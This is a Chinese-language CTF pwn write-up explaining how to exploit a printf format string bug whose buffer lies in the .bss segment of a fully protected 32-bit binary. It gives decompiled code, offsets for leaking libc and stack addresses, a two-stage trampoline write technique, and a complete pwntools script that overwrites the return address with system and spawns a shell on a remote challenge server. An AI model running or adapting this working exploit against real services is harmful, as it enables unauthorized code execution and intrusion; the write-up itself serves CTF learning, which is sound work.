格式化字符串在bss段上的处理

格式化字符串在bss段上的内容处理

先查看程序保护,保护全开

格式化字符串在bss段上的处理_第1张图片

拿到程序一眼就看到了格式化字符串的漏洞

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [esp+0h] [ebp-10h]
  unsigned int v6; // [esp+4h] [ebp-Ch]
  int *v7; // [esp+8h] [ebp-8h]

  v7 = &argc;
  v6 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to kanxue 2019, your pwn like cxk");
  do
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v3 = atoi(&buf);
      if ( v3 != 1 )
        break;
      printf("What do tou want to say:");
      read_input((int)&echo, 0x18);
      printf((const char *)&echo);
      puts((const char *)&unk_A97);
    }
  }
  while ( v3 != 2 );
  return 0;
}

一眼看到了格式化字符串,由于开了RELOD保护无法改变got表内容的值,只好对其栈上的返回地址进行劫持,并且设置返回地址的参数。

但是由于是栈劫持必须要对栈进行写入。但是格式化字符串的东西不存储在栈中,其中意味着不能对其进行直接写入。使用前面输入的那个进行任意地址写。于是上网百度查了一波发现:

很多出题人把格式化串放到堆或是bss段中,这样你就不能像传统的那样去读取格式化串中的目标地址了,不在栈中你是不可能读到的。对于这种题目的做法就是要进行两次漏洞利用,第一次在栈中构造跳板。第二次利用跳板去进行任意地址写。具体的说就是:第一次:在栈中找一个指向栈里面的指针(这种指针肯定会有,因为堆栈框架就是这样的),往这个栈的地方写入第二次要写入的地址。第二次:就跟正常利用一样了,

于是我们便要寻找跳板。不过在这之前我们先要泄露一些信息,比如动态链接库的地址,栈的地址。

在格式化字符串处下断点查看栈的偏移

格式化字符串在bss段上的处理_第2张图片

payload=%11$p泄露__libc_start_main+247的地址,可以拿到libc版本

payload=%8$p泄露栈的地址

拿到栈的地址后根据计算就可以拿到返回地址(0xffffd01c)和参数的地址(0xffffd024)。接着开始往返回地址写入值了,

一开始随便选了一个跳板写入发现%n写入不了,问了师傅,师傅告诉我每次只能写入两个字节,跳板内要写函数的返回地址,发现偏移为5处的跳板(0xffffd0b4)的值(0xffffb28a)前两个字节与返回地址相同,可以利用其只写入后两个字节,这样跳板内的地址变为返回地址,而跳板的地址(0xffffd0b4)的偏移为0x35(53)。我们便可以向偏移53处(即返回地址)写入system的地址的后两个字节。

之后高两个字节将返回地址+2之后,再进行写入到偏移53处再写入sysytem的前两个字节

这样返回地址就成功劫持了,之后再写入参数的地址写入/bin/sh的地址。这样本地就能拿到权限了

但是给我们的libc里面没有/bin/sh字符串。。只有靠我们自己写入/bin/sh。再栈上直接写入,由于/bin/sh太长了 直接写入$0亦可开启shell,参数的地址就定在偏移8的地址(0xffffd020)向其写入0xffffd020即可。

最后payload如下

from pwn import *
context.log_level='debug'
#p=process('./format')
p=remote('152.136.18.34','9999')
def format(payload):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('say:')
    p.send(str(payload))
#leak the libc_main+247
payload='%11$p'
format(payload)
libc_start_main_247=p.recv(10)
libc_start_main=int(libc_start_main_247,16)-247
print hex(libc_start_main)
##leak the stack 
payload='%8$p'
format(payload)
stack=p.recv(10)
stack_addr=int(stack,16)
print hex(stack_addr)
payload='%'+'12324'+'c'+'%8$hn'##write $0
format(payload)

libc_base=libc_start_main-0x18540
system_addr=libc_base+0x3a940
#gdb.attach(p)
#pause()
str_bin_sh=stack_addr
#system_addr=libc_start_main+0x22860
#str_bin_sh=libc_start_main+0x1434cb
print 'system'
print hex(system_addr)
retn_addr=stack_addr-4
parment_addr=stack_addr+4
retn_addr_1=retn_addr+2
parment_addr_1=stack_addr+6


#change retn
##lowb
#gdb.attach(p)
payload='%'+str(retn_addr&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(system_addr&0xffff)+'c'+'%53$hn'
format(payload)
print 'retn low finish'
print hex(system_addr)

#high b
payload='%'+str(retn_addr_1&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(system_addr>>16)+'c'+'%53$hn'
format(payload)
print 'retn high finish'
#change parment

payload='%'+str(parment_addr&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(str_bin_sh&0xffff)+'c'+'%53$hn'
format(payload)
print 'parment high finish'
payload='%'+str(parment_addr_1&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(str_bin_sh>>16)+'c'+'%53$hn'
format(payload)
print 'all finish'


p.recvuntil('Choice:')
p.sendline('2')
p.interactive()

你可能感兴趣的:(CTF-PWN)